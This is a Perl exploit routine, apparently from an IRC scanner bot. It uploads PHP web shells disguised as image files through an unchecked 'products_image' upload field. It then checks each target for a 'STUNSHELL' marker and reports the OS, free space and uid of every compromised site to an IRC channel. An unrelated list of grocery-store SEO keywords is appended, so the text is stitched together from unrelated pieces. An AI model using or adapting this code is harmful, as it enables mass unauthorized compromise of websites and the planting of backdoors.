Osco Scanner

sub osco_xpl() {
my $browser = LWP::UserAgent->new;
my $url    = $_[0];
my $chan   = $_[1];
my $site   = $_[2];
my $engine = $_[3];
my $res = $browser->post( $url,['products_image' => ['./stun.jpg' => 'mail.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
my $resa = $browser->post( $url,['products_image' => ['./read.jpg' => 'cinta.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
my $resb = $browser->post( $url,['products_image' => ['./tmp.jpg' => 'tmp.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
    my $hasil = $res->as_string;
    my $hasil1 = $resa->as_string;
    my $hasil2 = $resb->as_string;
    my $check = &get_content("http://".$site."images/mail.php");&get_content("http://".$site."images/tmp.php");sleep(3);
    if ($check =~ /STUNSHELL/) {
    my $os        ="";
    my $free   ="";
    my $uid    ="";
    if ($check =~ m/<br>Uname -a :(.*?)<br>/) {$os = $1;}
    if ($check =~ m/Freespace : (.*?)<\/p>/) {$free = $1;}
    if ($check =~ m/id : uid=(.*?) gid=/) {$uid = $1;}
    &msg("$chan","$oscologo(7@2$engine)(4SHeLL) http://".$site."12images/cinta.php 7(OS=$os) (free=$free) uid=$uid ");sleep(2);
    }
}





keyword:
search ,stores ,jewel-osco ,the jewel ,technology ,special offers ,shoppers ,scanners ,scanner ,savings ,reviews ,products ,pencils ,pay by touch ,paper products ,neighborhood ,jewel osco ,wikimedia commons ,sweepstakes ,retailers ,preferred card ,operator ,metadata ,grocery store ,fingerprint ,facebook ,envelopes ,diaries ,coupons ,consumers ,albertsons